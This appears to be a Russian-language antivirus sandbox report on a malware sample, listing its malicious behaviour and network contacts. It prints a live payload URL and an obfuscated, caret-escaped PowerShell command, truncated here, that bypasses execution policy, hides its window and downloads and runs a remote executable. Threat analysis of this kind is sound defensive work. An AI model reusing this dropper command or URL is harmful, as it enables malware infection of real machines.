Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://reservoirteam.com/kwobdwhl/6odgnft5.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^w^ERsHELL.^exe^ ^-^ExEc^uT^iOnPO^licy^ byP^A^ss ^-NoP^ROf^iLe ^-WI^n^dows^t^ylE ^hi^DdE^N ^(N^EW-oBJ^EcT^ ^S^Ys^t^EM^.^Net^.^WEb^CLI^eNt).^D^oW^n^L^Oad^FiLE('http://rese...
Сетевая активность
Подключается к
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
UDP
- DNS ASK re####oirteam.com
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^w^ERsHELL.^exe^ ^-^ExEc^uT^iOnPO^licy^ byP^A^ss ^-NoP^ROf^iLe ^-WI^n^dows^t^ylE ^hi^DdE^N ^(N^EW-oBJ^EcT^ ^S^Ys^t^EM^.^Net^.^WEb^CLI^eNt).^D^oW^n^L^Oad^FiLE('http://rese... (со скрытым окном)
